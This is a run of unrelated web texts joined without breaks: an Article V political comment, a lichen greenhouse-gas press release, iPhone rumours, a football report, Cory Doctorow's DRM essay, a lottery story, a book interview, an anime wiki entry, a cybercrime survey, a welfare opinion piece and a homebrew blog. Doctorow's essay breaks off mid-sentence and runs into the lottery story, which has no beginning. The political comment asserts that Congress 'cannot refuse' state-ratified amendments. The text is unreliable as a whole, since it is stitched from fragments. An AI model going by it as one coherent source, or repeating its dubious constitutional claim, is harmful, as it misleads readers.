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The solutions will not come from the Federal Government and most likely not the Courts. The solution will come from WE THE PEOPLE through our State Legislatures. Virginia is now in the R column, which I think is now number 33, and we need 38 to get the 14th, 16th, and 17th amendments revoked, thus restoring the Original Constitutional Republic; and the Federal government would be placed back under the Article I section 8 enumerated powers.
Now, as to the importance of the removal of Obama with any candidate and to regain the Senate is as follows: The congress can be pressured to start a process of restoring the ORIGINAL CONSTITUTION by defining what the words meant and what the Founders actually wrote. The usurpers have attacked the true meaning by changing the definitions of words and by modernizing the Constitution to serve the new demands of the Progressive movement.
Yes, they have used the court to alter the actual meaning of the Constitution, as the Founders made clear could not be done without using the methods they created to allow adjustments--as required over the decades and centuries. The Founders wrote the Constitution in very simple straightforward language, using everyday words that all people of the times could read and understand. They then gave us the Article V amendment process so we could make changes if necessary and we have used it 17 times since the bill of rights [first ten amendments] and one of those was to revoke a previous mistaken amendment.
So, clearly the Amendment process was set in place to protect the PEOPLE and allow them to make corrections to limit the usurping of a oppressive tyrannical central government. This gave us the State convention option in the Article V method to permit the States to take action when the Congress refuses to make amendments to correct usurpation and to send them to the many States for ratifying. The States can directly make amendments and force them on the Central Federal government without debate by having 38 States [3/4] create an amendment that revokes the 14th, 16th and 17th Amendments - then present it to Congress to send out for ratification by the 38 States [3/4] - Congress cannot refuse and if they do, then the State 38 LEGISLATURES CAN RATIFY THE AMENDMENT[S] and present the ratified amendment to Congress as law of the land. The Congress and the Courts have no ability to refuse or even consider, for it is done. This option is clearly in article V and there is no prohibiting language, as the Founders intended this to be the last option before rebellion.
The Republic can be kept and we can do our duty as Franklin would have instructed.
http://articlevprojecttorestoreliberty.com/mangus-colorado-
http://conventionsofstatesproject.com
article-...http://articlevprojecttorestoreliberty.com/the-28th-amendment.html
I am spending every available moment working to get my state of Nevada to pressure the State Legislature to join this project. Instead of talking to the choir as most of us are doing here, Google your State government website, make a list of all members of your legislature along with their phone nos., emails, and addresses and contact them personally--either by phone or by making an appointment for a personal visit. Most of the websites will have a script available for you to discuss the Convention of States and to persuade each member to talk to the others and join the project. Don't just sit and complain!! Stand up for our freedoms and those of our children and grandchildren.Researchers from the Max Planck Institute for Chemistry reveal that lichens, mosses and cyanobacteria produce large amounts of nitrous oxide.
Inconspicuous creatures surprise with a property that is important for our climate: Lichens, mosses and cyanobacteria release large quantities of the greenhouse gas nitrous oxide (N 2 O), also known as laughing gas, and low quantities of methane (CH 4 ) into the atmosphere. This was discovered by the scientists of the Gießen and Heidelberg universities and the Max Planck Institute for Chemistry in extensive laboratory tests. The greenhouse effect of laughing gas is 300 times stronger than for carbon dioxide, and even methane is 30 times stronger. As the amount of nitrous oxide emitted increases at higher temperatures, the discovery is significant against the backdrop of global warming.
“We wanted to find out two things: Firstly, we wanted to know whether cryptogamic covers can emit N 2 O and CH 4 at all. And secondly, what impact do climatic conditions have on the emission values,” says Katharina Lenhart, Visiting Professor at the Institute for Plant Ecology at the Justus-Liebig University in Gießen when explaining the objectives of the study. To do this, the scientists examined 68 samples of different lichens and mosses from various climate regions. They recorded the greenhouse gas emissions of the organisms under different temperatures, water contents, light conditions and nitrogen fertilization levels, to determine the impact of environmental conditions on the release of greenhouse gases.
“The methane emissions of cryptogamic covers were negligible on a global scale. However, the high release rates of nitrous oxide were remarkable,” says Bettina Weber, Group Leader at the Max Planck Institute for Chemistry. As the investigations showed, cryptogamic covers, the scientific name for the surface growth of lichens, mosses, cyanobacteria and other micro organisms, are responsible for four to nine percent of N 2 O from natural sources. “Generally, we could demonstrate that N 2 O and CH 4 emissions strongly increase from temperatures above 20 degrees Celsius,” says Weber. Consequently, the scientists suspect that methane and nitrous oxide emissions from lichens, cyanobacteria and mosses could increase in the course of global warming. This could be of greater significance especially in temperate latitudes, where cryptogamic covers represent one of the main sources for nitrous oxide emissions. In some tundra, steppe and desert regions, they are probably even the exclusive source.
In the next step the scientists will check the laboratory findings in field studies and include additional organisms in their research.
The researchers developed the idea of the current study at the Max Planck Institute, as some years ago, they had found out that cryptogamic covers absorb large quantities of carbon dioxide and nitrogen from the atmosphere. Lichens, mosses and cyanobacteria bind about as much carbon dioxide as the burning of biomass or fossil fuel releases annually. Additionally, Frank Keppler’s team at the Institute for Geo Sciences at the University of Heidelberg had discovered that plants and fungi can produce methane. Previously, it was assumed that biogenic methane was exclusively produced during the decomposition of organic material under exclusion of oxygen.
Publication: Katharina Lenhart, et al., “Nitrous oxide and methane emissions from cryptogamic covers,” Global Change Biology (2015); doi: 10.1111/gcb.12995Obama vindicated on law-school title
As the first in a bill of particulars titled "Just Embellished Words: Senator Obama’s Record of Exaggerations & Misstatements," the Clinton campaign charged earlier this week: "Sen. Obama consistently and falsely claims that he was a law professor. The Sun-Times reported that, 'Several direct-mail pieces issued for Obama's primary [Senate] campaign said he was a law professor at the University of Chicago. He is not. He is a senior lecturer (now on leave) at the school. In academia, there is a vast difference between the two titles. Details matter.' In academia, there's a significant difference: professors have tenure while lecturers do not. [Hotline Blog, 4/9/07; Chicago Sun-Times, 8/8/04]."
But the University of Chicago Law School has now posted a statement declaring his claims semantically sound: "The Law School has received many media requests about Barack Obama, especially about his status as 'Senior Lecturer.' From 1992 until his election to the U.S. Senate in 2004, Barack Obama served as a professor in the Law School. He was a Lecturer from 1992 to 1996. He was a Senior Lecturer from 1996 to 2004, during which time he taught three courses per year. Senior Lecturers are considered to be members of the Law School faculty and are regarded as professors, although not full-time or tenure-track. The title of Senior Lecturer is distinct from the title of Lecturer, which signifies adjunct status. Like Obama, each of the Law School's Senior Lecturers have high-demand careers in politics or public service, which prevent full-time teaching. Several times during his 12 years as a professor in the Law School, Obama was invited to join the faculty in a full-time tenure-track position, but he declined."
Mike Allen is chief White House correspondent for Politico.Earlier today, leaked schematics depicted the possibility of the iPhone 8 featuring the Touch ID sensor on the back as Apple faces difficulty integrating it into the display. Now, however, an unverified report from iDropNews claims that Apple is testing two different prototypes: one with Touch ID on the front and another with the sensor on the back. The report also offers up a few additional details…
Sylvania HomeKit Light Strip
The report, citing Foxconn sources, claims that despite two prototypes still being in testing, it’s “highly-likely” that Apple will ship the model with Touch ID integrated into the display. Touch ID embedded into the display is expected to be one of the highlight features of the iPhone 8, but recent reports had casted doubt as to whether or not Apple would be able to pull it off.
Additionally, today’s report claims that the iPhone 8 will feature 4mm bezels around the entire front side of the display. The display itself is said to be “2.5 countered glass,” which essentially means that there is a slight curvature around the edges. The back of the device is said to feature the same glass design.
In terms of overall size, this report claims that the iPhone 8 will feature a 5.8-inch display with the same dimensions as the iPhone 7, corroborating earlier reports. There’s also said to be a “large power button featuring two points of contact.”
Lastly, today’s report claims that the front-facing camera will be “invisible” and “hidden underneath the display.” This is something that we haven’t heard before, but falls in line with the bezel-less design.
Front-facing Touch ID beneath the display.
4mm bezels around the entire edge of the device.
2.5D contoured glass on the front and back of the device surrounded by a metal frame.
Wireless charging.
Same dimensions as the iPhone 7.
5.8″ OLED display.
“Invisible” front-facing camera hidden underneath the display.
Large power button featuring two points of contact. Reason unknown.
As with a lot of iPhone 8 rumors, however, this should be taken with a grain/heap of salt. It’s hard to know just what direction Apple plans to take with the iPhone 8 this year, and it’s likely that the company itself hasn’t even nailed down a specific path.
To go along with its report, iDropNews also has a new set of renders depicting the bezel-less contoured design, the “invisible” front-facing camera, and more. What do you think of these renders? Let us know down in the comments.SHREVEPORT, La. -- So this is progress?
Only at No. 22 Texas A&M, which lost five games last season in which it held a double-digit lead, might turning a 27-0 late-second-quarter lead over No. 23 Louisiana Tech into a 59-57 victory be viewed as a step forward. That's because twice in the fourth quarter Saturday, the second time with 38 seconds to play, the Bulldogs lined up for a two-point conversion to tie the game.
The Aggies stopped both plays and escaped with their record (5-1) intact. Coach Kevin Sumlin said all the things coaches say after they win, but he looked and sounded more exhausted than happy. It was that kind of win.
"There are some things in that locker room right now," Sumlin said. "We're happy we won but we're not overjoyed. We know that we played a good football team but we can play better. There are some things that we've got to clean up. We'll get that done this week."
Freshman quarterback Johnny Manziel broke the Southeastern Conference total offense record of 557 yards that he had set two weeks ago against Arkansas. Manziel completed 24 of 40 passes for 395 yards and three touchdowns, and rushed for 181 yards and another three touchdowns. And he played nearly the entire game without his best receiver, senior Ryan Swope, who took a blow to the head in the first quarter and never returned.
Blocking break down? Defense blitzing? Manziel looks as ruffled as James Bond straightening his shirt cuffs. He either runs away from the defenders or swivels his hips through them.
QB Johnny Manziel accounted for six touchdowns in Texas A&M's victory. Kevin Jairaj/US Presswire
The sight of Manziel moving out of the pocket makes every defensive coordinator think he should update his résumé. His ability in the open field isn't anything Sumlin or offensive coordinator Kliff Kingsbury taught him. Some skills simply aren't taught.
And some skills simply aren't learned yet. Manziel, trying to escape a safety, threw a pass directly to Louisiana Tech defensive tackle Shakeil Lucas, who returned it 5 yards for the touchdown that pulled the Bulldogs within 46-44 with 11:59 to play. That was the first of the two two-point conversions they failed to make in the fourth quarter.
"There were a number of plays he made after the interception that were great," Sumlin said.
The greatest, a 72-yard broken-play touchdown run, put the Aggies up 59-44 with 2:04 to play. And yet the Bulldogs scored two touchdowns and still left 38 seconds on the clock. After the second score, with the Aggies clinging to the 59-57 lead, quarterback Colby Cameron overthrew R.P. Stewart, and the scoring came to an end.
Cameron didn't set any conference records, but he overcame a slow start to complete 44 of 58 passes for 450 yards and five touchdowns. Quinton Patton caught 21 of those passes for 233 yards and four scores.
Perhaps Louisiana Tech noticed that two Texas A&M defensive mainstays, linebacker Steven Jenkins and safety Howard Matthews, were suspended. It might have come to Cameron's attention that the Aggies had no more than six defensive backs.
The mystery is what took Cameron and the Bulldogs so long. They didn't score until 5:32 remained in the second quarter. And on the first play from scrimmage after Patton caught an 11-yard touchdown pass, Manziel threw a 75-yard touchdown to Mike Evans. That made the score 34-7.
"We had a hard time getting into a rhythm early," Louisiana Tech coach Sonny Dykes said. "I don't know if it was nerves or what."
When the Aggies scored 13 points in the last 6:24 last week to win 30-27 at Ole Miss, they not only won their first road game in the Southeastern Conference but they believed they had exorcised the demons that plagued them throughout last season.
Sumlin has preached that this is a new season. The offensive and defensive schemes are different. And on Saturday night into Sunday morning, Texas A&M played as if to show it hadn't quite gotten all of last season out of its system.
Texas A&M and Louisiana Tech spent four hours Saturday night and into Sunday morning proving that football is not a 60-minute game. Never mind that coaches long ago installed that thought into the Cliché Hall of Fame.
If the Bulldogs (5-1) had arrived at Independence Stadium before the middle of the second quarter, they still would be undefeated. And if the Aggies had not taken their foot off the gas after racing to a 27-0 lead, they wouldn't have been in danger of restoring their reputation as the biggest gift-givers in college football.
"Guys made plays when they had to," Aggies linebacker Jonathan Stewart said, "but we got to correct a lot of things in this game."
Not that the game took a long time to play, but when it began, Herman Cain was still a presidential candidate. OK, that's an exaggeration. It just felt like the game started on its original date of Aug. 30. The game passed the three-hour mark in the third quarter and ended at 12:45 a.m. CT Sunday, 4 hours and 28 minutes after the opening kickoff. Everybody chipped in. The SEC crew called more than 27 penalties for 260 yards. That's just how many were accepted.
When it ended, as harrowing as it might have been, the Aggies had shown their mettle in the fourth quarter -- again.
"What's happened the last two weeks has been so good for these guys," Sumlin said, "because we lost all these games last year."Lockdown
The coming war on general-purpose computing
By Cory Doctorow - Share this article
This article is based on a keynote speech to the Chaos Computer Congress in Berlin, Dec. 2011.
General-purpose computers are astounding. They're so astounding that our society still struggles to come to grips with them, what they're for, how to accommodate them, and how to cope with them. This brings us back to something you might be sick of reading about: copyright.
But bear with me, because this is about something more important. The shape of the copyright wars clues us into an upcoming fight over the destiny of the general-purpose computer itself.
In the beginning, we had packaged software and we had sneakernet. We had floppy disks in ziplock bags, in cardboard boxes, hung on pegs in shops, and sold like candy bars and magazines. They were eminently susceptible to duplication, were duplicated quickly, and widely, and this was to the great chagrin of people who made and sold software.
Enter Digital Rights Management in its most primitive forms: let's call it DRM 0.96. They introduced physical indicia which the software checked for—deliberate damage, dongles, hidden sectors—and challenge-response protocols that required possession of large, unwieldy manuals that were difficult to copy.
These failed for two reasons. First, they were commercially unpopular, because they reduced the usefulness of the software to the legitimate purchasers. Honest buyers resented the non-functionality of their backups, they hated the loss of scarce ports to the authentication dongles, and they chafed at the inconvenience of having to lug around large manuals when they wanted to run their software. Second, these didn't stop pirates, who found it trivial to patch the software and bypass authentication. People who took the software without paying for it were untouched.
Typically, the way this happened is a programmer, with possession of technology and expertise of equivalent sophistication to the software vendor itself, would reverse-engineer the software and circulate cracked versions. While this sounds highly specialized, it really wasn't. Figuring out what recalcitrant programs were doing and routing around media defects were core skills for computer programmers, especially in the era of fragile floppy disks and the rough-and-ready early days of software development. Anti-copying strategies only became more fraught as networks spread; once we had bulletin boards, online services, USENET newsgroups and mailing lists, the expertise of people who figured out how to defeat these authentication systems could be packaged up in software as little crack files. As network capacity increased, the cracked disk images or executables themselves could be spread on their own.
This gave us DRM 1.0. By 1996, it became clear to everyone in the halls of power that there was something important about to happen. We were about to have an information economy, whatever the Hell that was. They assumed it meant an economy where we bought and sold information. Information technology improves efficiency, so imagine the markets that an information economy would have! You could buy a book for a day, you could sell the right to watch the movie for a Euro, and then you could rent out the pause button for a penny per second. You could sell movies for one price in one country, at another price in another, and so on. The fantasies of those days were like a boring science fiction adaptation of the Old Testament Book of Numbers, a tedious enumeration of every permutation of things people do with information—and what might be charged for each.
Unfortunately for them, none of this would be possible unless they could control how people use their computers and the files we transfer to them. After all, it was easy to talk about selling someone a tune to download to their MP3 player, but not so easy to talk about the the right to move music from the player to another device. But how the Hell could you stop that once you'd given them the file? In order to do so, you needed to figure out how to stop computers from running certain programs and inspecting certain files and processes. For example, you could encrypt the file, and then require the user to run a program that only unlocked the file under certain circumstances.
But, as they say on the Internet, now you have two problems.
You must now also stop the user from saving the file while it's unencrypted—which must happen eventually— and you must stop the user from figuring out where the unlocking program stores its keys, enabling them to permanently decrypt the media and ditch the stupid player app entirely.
Now you have three problems: you must stop the users who figure out how to decrypt from sharing it with other users. Now you've got four problems, because you must stop the users who figure out how to extract secrets from unlocking programs from telling other users how to do it too. And now you've got five problems, because you must stop users who figure out how to extract these secrets from telling other users what the secrets were!
That's a lot of problems. But by 1996, we had a solution. We had the WIPO Copyright Treaty, passed by the United Nations World Intellectual Property Organization. This created laws that made it illegal to extract secrets from unlocking programs, and it created laws that made it illegal to extract media (such as songs and movies) from the unlocking programs while they were running. It created laws that made it illegal to tell people how to extract secrets from unlocking programs, and it created laws that made it illegal to host copyrighted works or the secrets. It also established a handy streamlined process that let you remove stuff from the Internet without having to screw around with lawyers, and judges, and all that crap.
And with that, illegal copying ended forever, the information economy blossomed into a beautiful flower that brought prosperity to the whole wide world; as they say on the aircraft carriers, “Mission Accomplished".
That's not how the story ends, of course, because pretty much anyone who understood computers and networks understood that these laws would create more problems than they could possibly solve. After all, these laws made it illegal to look inside your computer when it was running certain programs. They made it illegal to tell people what you found when you looked inside your computer, and they made it easy to censor material on the internet without having to prove that anything wrong had happened.
In short, they made unrealistic demands on reality and reality did not oblige them. Copying only got easier following the passage of these laws—copying will only ever get easier. Right now is as hard as copying will get. Your grandchildren will turn to you and say “Tell me again, Grandpa, about when it was hard to copy things in 2012, when you couldn't get a drive the size of your fingernail that could hold every song ever recorded, every movie ever made, every word ever spoken, every picture ever taken, everything, and transfer it in such a short period of time you didn't even notice it was doing it."
Reality asserts itself. Like the nursery rhyme lady who swallows a spider to catch a fly, and has to swallow a bird to catch the spider, and a cat to catch the bird, so must these regulations, which have broad general appeal but are disastrous in their implementation. Each regulation begets a new one, aimed at shoring up its own failures.
It's tempting to stop the story here and conclude that the problem is that lawmakers are either clueless or evil, or possibly evilly clueless. This is not a very satisfying place to go, because it's fundamentally a counsel of despair; it suggests that our problems cannot be solved for so long as stupidity and evilness are present in the halls of power, which is to say they will never be solved. But I have another theory about what's happened.
It's not that regulators don't understand information technology, because it should be possible to be a non-expert and still make a good law. MPs and Congressmen and so on are |
$636 million Mega Millions jackpot hailed from Stone Mountain, Ga., a mom who simply used family birthdays and her lucky No. 7 to select numbers for the one ticket she purchased.
Now she’s going down in history as one of two winners of the second-largest Mega Millions jackpot in U.S. history, CNN reported.
Lottery officials said the woman is Ira Curry. She lives east of Atlanta and has opted for the lump sum — about $120 million, after taxes, The New York Post said.
“She has not decided how she’ll spend those winnings,” said Georgia Lottery chief executive Debbie Alford, in The New York Post. “She said she was just in a state of disbelief.”
Ms. Curry didn’t attend the news conference that identified her as the winner.
Her story is that she was driving to work when the radio announcer gave out the winning numbers. She called her daughter to double check the numbers.
“Between joyful tears and laughter on the daughter’s part, she relayed to her mother that her mother had won the lottery,” Ms. Alford said, in The New York Post.
Ms. Alford declined to say where Ms. Curry worked or give out her age. Her husband and family members appeared at lottery headquarters to claim her prize for her, The New York Post said.
The other winner is still not identified, but the winning ticket was purchased in a San Jose, Calif., gift shop.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.What inspired you to write Godless Americana?
After writing Moral Combat in 2011 I became increasingly outraged by the extreme rightward turn of public policy and national discourse. I felt that there needed to be a strong atheist/humanist rebuke and critique of the strident xenophobic nationalism and racist propaganda that erupted with greater vengeance during the 2012 presidential campaign.
I wanted to make a statement against this climate and outline a radical humanist alternative. In addition, there has been much fanfare about the rise of the so-called “Nones” (or those who have rejected organized religion). However there is no evidence that people of color—especially women of color—are rejecting organized religion, much less God, in any significant numbers. I wanted to explore the reason for this, while at the same time providing a radical voice for the growing numbers of openly identified non-believers of color.
What’s the most important take-home message for readers?
That humanism can be culturally relevant to communities of color. Traditional mainstream white-dominated freethought/atheist/humanist models don’t offer an adequate basis for social justice. They don’t address the intersection of women’s rights, civil rights, anti-racism, heterosexism, the racial wealth gap, and educational apartheid.
In the book I push back against the myth of the accessible American dream and look at the devastating impact that the recession has had on communities of color. I ask how one creates a just society based on the principles of anti-racist godlessness; rejecting supernatural, faith-based explanations for the universe, morality, ethics and human accountability. I emphasize the need to build on the historic connection between non-belief and movements for human rights liberation.
In the early-to-mid 20th century, many non-believers and freethinkers of color, as well as radical whites, were deeply invested in the struggle for civil rights, women’s rights, gay rights, the labor movement and anti-imperialist resistance. They were not primarily academic or intellectual elites (á la atheist superstars like Richard Dawkins, Sam Harris and Christopher Hitchens) and came from all walks of life. Moreover, they understood that reaching across the ideological aisle to organize with progressive believers was a necessity if they were going to gain any traction in their local communities (the examples of A. Philip Randolph, James Forman and the Black Panthers are illustrative in this regard).
So while there are numerous grassroots atheist groups spearheading their own projects, the movement as a whole continues to be publicly defined by a handful of superstars and their limited vision. The absence of historical and sociological context for atheist politics, and its disconnection from social justice activism, will keep it in the lily-white one-percent column.
I have no patience for single-issue white male atheists who inveigh against the backwardness of organized religion as the fount of all evil and then have the luxury to retreat into their segregated ivory towers, insulated conferences, and highly-paid seminar bubbles. In Godless Americana I address the lived experiences of some of the most religious communities on the planet in one of the richest nations on the planet. I probe the sociological context for faith traditions and hyper-religiosity in American communities of color.
One bedrock issue is the way students of color are disproportionately denied access to college prep courses, suspended, placed in special education and pipelined into prisons instead of being given a decent shot at a science and humanities-based education. These are not conditions that confront white families and white children—atheist, evangelical, working class, middle class or otherwise. Brilliant white youth who want to be oncologists—unlike my 12th grade mentee Karly Jeter, who identifies as Christian—are not told that they come from a dysfunctional culture that only excels at sports and making babies. And they are not excluded from gatekeeping Advanced Placement science courses because their counselors didn’t believe they were capable or the classes weren’t offered on their campuses.
Because of the pervasiveness of 21st century-style mass incarceration many youth of color will not be able to get jobs or housing. They will not be able to vote or pursue a college education. For this generation, the promise of upward mobility and the American dream is a sham. Progressive community-based religious organizations grasp the complexities of this reality. The best ones actively seek to redress it. And that is where the gap between the so-called New Atheism and radical or culturally relevant humanism lies.
Is there anything you had to leave out?
More discussion about abortion and reproductive justice vis-à-vis all of the draconian legislation that’s come down from states like Kansas, North Dakota, Texas and Mississippi. The fact that abortion and birth control policies continue to be hijacked by the extreme right is an atrocity, as is the destructive whitewash of the devastating impact of climate change. I believe that legal abortion and universal access to contraception are human rights—period. Women of color have the most to lose from the increasing crackdown on and medievalist rhetoric about abortion.
What are some of the biggest misconceptions about your topic?
One of the biggest is that non-believers are a one-trick pony, singularly obsessed with church/state separation and battling creationists. Again, the number of atheists of color has grown, but the atheist movement as a whole has not embraced the issues that people of color struggle with on a daily basis.
For example, the wealth gap between blacks and whites is more pronounced now than during the Brown vs. Board era. When I drive around in my community I see scores of abandoned businesses, boarded up buildings, vacant lots, three-ring strip malls (hair-liquor-check cashing) and churches, churches and more churches. Travel a few miles to the west to predominantly white communities, even the so-called working class ones, and it’s a radically different story. In the book I highlight how de facto segregation has become more intractable now—such that, according to the US2010 project, upper middle class African American and Latino homeowners actually live in poorer neighborhoods than do low-income white people.
That cold reality belies bromides about post-racialism, colorblindness and meritocracy. And it also underscores why faith-based institutions remain so powerful in black and brown communities.
Did you have a specific audience in mind when writing?
Fellow non-believers and progressive believers were my specific audience, but I was also interested in addressing folk who have become galvanized by deepening disparities in K-12 education, public sector employment, health care and homeownership.
Are you hoping to just inform readers? Entertain them? Piss them off?
Hopefully all of the above. Sacred cows are liberally skewered.
What alternative title would you give the book?
“Beyond Flat Earth.”
How do you feel about the cover?
The cover is a picture of a white angel headstone in the Inglewood Cemetery in South Los Angeles, circa when the area was a predominantly white enclave and home to a Streamline Moderne-style theater that was supposed to be the original site of the Academy Awards.
Post white-flight in the sixties and seventies Inglewood became a predominantly African American community. It now “boasts” an eclectic array of faith institutions from Church of Scientology storefronts to mosques. I think the cover evokes many of the book’s themes about whiteness, innocence and redemption; bringing it full circle to the last chapter which explores the racial politics of death and the so-called moral abyss of non-belief.
Is there a book out there you wish you had written? Which one? Why?
One recent book I’ve read that I really admire is Harriet Washington’s exhaustively researched Medical Apartheid. Washington nails how legacies of scientific racism and white supremacist medical experimentation inform contemporary perspectives on the black body.
What’s your next book?
A novel based on the 1978 Jonestown massacre (from the perspective of two black women protagonists) and an anthology entitled Women of Color Beyond Faith.Central City is the official capital and also the seat of government in Amestris. The National Central Library, Central Command, the 5 National Laboratories, and Amestris' Parliament are all located in Central. Aside from its symbol as a military headquarters, Central is also a bustling metropolis and arguably Amestris' largest city, complete with nearly everything Amestrian society has to offer as well as a lasting and rarely disturbed sense of peace created by its proximity to the government's imposing presence. After the events in the eastern regions of Amestris and the Elrics' excursion to the southern region, much of the Fullmetal Alchemist story takes place in Central, as it also serves as the Homunculi's home base, the heart of which is located deep beneath Central Command Headquarters.
Central City becomes the main target of Roy Mustang's coup d'état to overthrow the corrupt government while King Bradley was supposedly injured in a "train crash" far in the east. Briggs and East City forces manage to take over the streets with the minor help from ex-soldiers and Ishvalans alike. However, it's General Olivier Armstrong and Buccaneer who lead their respective divisions in taking over Central Command successfully until Bradley makes his unexpected return - greatly complicating the struggle for Central City and indeed the country itself.
After King Bradley's and Father's defeat, Grumman becomes the new Führer-President. However, Bradley's true identity is hidden from the public and they are told that he died heroically fighting in the battle against the Homunculi.
Most of the Central Command die during the battle and the remaining are removed and trialed because of their alliance with Father and the Homunculi.1 in 5 companies became victims since 2014.
Cybercrime has become much more prevalent in Singapore over the past two years, according to PwC’s latest Global Economic Crime Survey.
More than one fifth or 22% of organisations experienced some form of economic crime in the past 24 months.According to the survey, the five most pervasive economic crimes in Singapore are asset misappropriation (61%), cybercrime (43%), procurement fraud (35%), money laundering (26%) and bribery and corruption (17%).
Cybercrime incidents have risen sharply from 15% in 2014 to 43% in 2016, becoming the second most prevalent economic crime in Singapore. This figure is also higher than the global average of 32%.
Despite the rise in cybercrime, the rate of reported economic crime remains largely unchanged for the country since 2014 (24%), and is still consistently below the global average of 36%.
“The sharp increase in cybercrime is particularly worrying, especially when many Singapore-based organisations are still ill-equipped to deal with cyber-attacks,” said Chan Kheng Tek, Forensics Leader, PwC Singapore.The Earth One books have been pretty fascinating. We get to see familiar characters presented in a slightly different fashion. Jeff Lemire and Terry Dodson introduced us to the Teen Titans in this alternate world. This time Jeff is joined by Andy MacDonald on art. DC has given us a first look at the cover by Andy.
TEEN TITANS EARTH ONE VOL. 2 HC
Written by JEFF LEMIRE • Art and cover by ANDY MacDONALD
After months on the run from the twisted project that created them, Cyborg, Terra, Beast Boy and Garth are near their breaking point, barely surviving on what they can steal, squatting in the ruins of an abandoned subdivision. But as they reach their lowest ebb, their creator, Dr. Niles Caulder, is ready to make his move…and they’re about to learn that they weren’t the only kids to go through Caulder’s twisted process! There are more children with powers out there, and unlike our heroes, they were raised for only one purpose—to be the living weapons Caulder wants ALL his Titans to be! Writer Jeff Lemire (GREEN ARROW, ANIMAL MAN) teams up with artist Andy MacDonald (THE NEW 52: FUTURES’ END) to deliver the next chapter in the Earth One series!
On sale AUGUST 10 • 144 pg, FC, $22.99 USBig Apple Mayor Bill de Blasio apparently has some big plans. One of them, only now bubbling to the surface, is to revamp the city’s welfare system. It seems that the idea of asking able bodied individuals receiving taxpayer funded cash support to work as part of the deal is offensive to enlightened sensibilities.
Mayor Bill de Blasio is revamping the city’s welfare program, vowing to dismantle what was once the largest workfare program in the nation and to embrace new strategies for moving thousands of people off the welfare rolls and into jobs. Workfare? Do you remember workfare? It is the program that ballooned during the administration of Rudolph W. Giuliani, with 36,224 people working in it or assigned to it by the year 2000. The program mostly dropped out of the headlines after Mr. Giuliani, a Republican, left office, but his work-first ethos still prevails: In April, 9,194 welfare recipients participated in or were assigned to workfare, and thousands more were required to engage in job-search programs that de Blasio administration officials have described as largely unsuccessful. Now, Mr. de Blasio says, it is time for change.
Mayor de Blasio wants to replace all of that “insulting and degrading” work with an emphasis on attending public funded schooling and job training. Even though those were precisely the types of policies which were in place before the workfare push, when the city’s cash welfare rolls dwarfed the population of some small countries and had helped drive New York City toward bankruptcy, de Blasio seems to think that he has “learned from the lessons of the past” and that he won’t be “repeating those mistakes.”
This should be making a lot of people very nervous. If only someone had warned us. Oh, wait… Heather MacDonald did right after de Blasio was elected.
Bill de Blasio’s mayoralty will be primarily judged on whether he sustains New York’s record-breaking crime drop. But keep your eye on another number, too: 348,000, the tally of New Yorkers now receiving cash welfare. Sixty-nine percent fewer residents are on cash benefits today than when Rudy Giuliani took office in 1994, and 24 percent fewer than when Mike Bloomberg took over in 2002, thanks to a deliberate attack on New York’s post-1960s dependency culture. As a result, more New Yorkers are employed today than at any time in the city’s history. Mayor-elect de Blasio, however, has opposed virtually every key element of welfare reform:
This was on the Mayor’s agenda long before most of the nation had heard of him. Unfortunately, de Blasio and his allies demonstrate the same lack of understanding of the concept and purpose of workfare which characterized the volatile arguments over it in the early 90s. The Times article, titled to indicate how this plan is “lifting hope for job seekers” in NYC, captures this theme when they describe a city issued workfare identification card as a badge of shame which must be worn to the job. It’s a stunning misrepresentation.
Workfare was never designed to “shame” anyone. It was developed to assist people who had spent a long time – for some, their entire adult lives – trapped in the welfare system in transitioning to a new style of life where going out to work and earning a living every day became a normal way of life. And yes, to a certain degree at least, it was also constructed as an incentive to seek regular employment by making welfare less attractive. And it worked. It dramatically slashed the welfare roles and expanded the work force during a time when the economy was booming and jobs were plentiful for those who sought them.
You have to wonder at the timing of this, as well. It’s funny how this is cropping up right after the elections. Do you think it’s possible that the Democrats knew that such things would outrage many working class voters and remind them of what they get when they elect a lot of Democrats? Anyway, assuming that the Mayor gets this all pushed through, it will prove an interesting social experiment for the rest of the nation to observe. Sadly, when it almost surely fails, it will be the low income workers of New York City – as well as all the taxpayers – who pay the price.I’m addicted to hops. No seriously, I have a problem. I’m a sucker for finding and trying different varieties. If I’ve never brewed with it, I want to. If it’s some new experimental variety and hard to come by, I need it. Enter Medusa™, the multi-headed neomexicanus hop native to Colorado and New Mexico. Ever since I heard about this ultra rare hop, I knew I needed to get my hands on it. I finally did, hit the link to keep reading!
History
Hop History
I’ll try to keep it short and sweet. Neomexicanus hops are a different variety of the plant, Humulus Lupuls, than the one we all know and love. Today’s hops are typically a hybrid of Humulus Lupulus Lupulus and Humulus Lupulus Lupuloides. Neomexicanus is neither, but derived from the same North American Ancestry as Lupulodies. It’s my understanding this hop was found growing wild and hop farmer CLS Farms, took on the project to grow them commercially. They have been largely unavailable as the entire crop(s) were bought up by Sierra Nevada. See this article from fellow blogger and homebrewer, for more history around neomexicanus hops.
My History with Medusa™
I first heard about this hop back in September of 2016 when I got a email newsletter from Northern Brewer (Although, it appears I also got the same email in May of 2015). They were selling the hops excursively in a pre-built cream ale kit. I wasn’t really intrigued in the kit or the cream ale. I really just wanted the hops themselves.
At any rate, I didn’t act quick enough and missed the kit. I read later that they sold out in ~6 hours. The search went on for a few days with no additional hops to be found.
Fast forward to February 28th, 2017. I got a text from my friend and professional brewer that he had just received a 44lb box of Medusa™ hops from BSG CraftBrewing. The hunt was back on. I scoured the internet and thought I had finally hit the jackpot. One online retailer claimed they had them in stock and they were order-able. I proceeded to order a pound. Sadly, the following day I received a cancellation notice and full refund. The hops were not available.
March 15, 2017 was the day I finally struck gold. An email newsletter from my favorite hop supplier, Yakima Valley Hops, arrived in my inbox. They had Medusa™ in stock, in limited quantities. I nearly jumped out of my seat and quickly ordered a pound. The search was over. They arrived just a few days later, ready for my enjoyment.
The Recipe
When I was debating what kind of IPA I wanted to brew with these hops, I had a few tried and true recipes I contemplated using. I knew this was going to be a New England style, so that narrowed it down quite a bit. One receipe, was the ever famous “Northeast” Style IPA over at Homebrew Talk. I have used this grist and hopping schedule various times with Single Hop beers with great success. However, being a neomexicanus hop, I had to stick with a recipe I used on a similar pseudo-neomexicanus single hop beer I brewed almost a year and a half ago. The recipe was created by Ed Coffey in an attempt to clone Tired Hands Hop Hands. Ed typically uses the grist and hopping schedule for other hop experiments, in particular the pseudo-neomexicanus hop I mentioned earlier was none other than HBC-438, aka Ron Mexico. (The link for the HBC-438 recipe is here.)
That beer being one of my favorites that I’ve brewed and the fact I had just received 10lbs of Quaker Quick Oats, it seemed perfect.
Modifications
Just a few minor things.
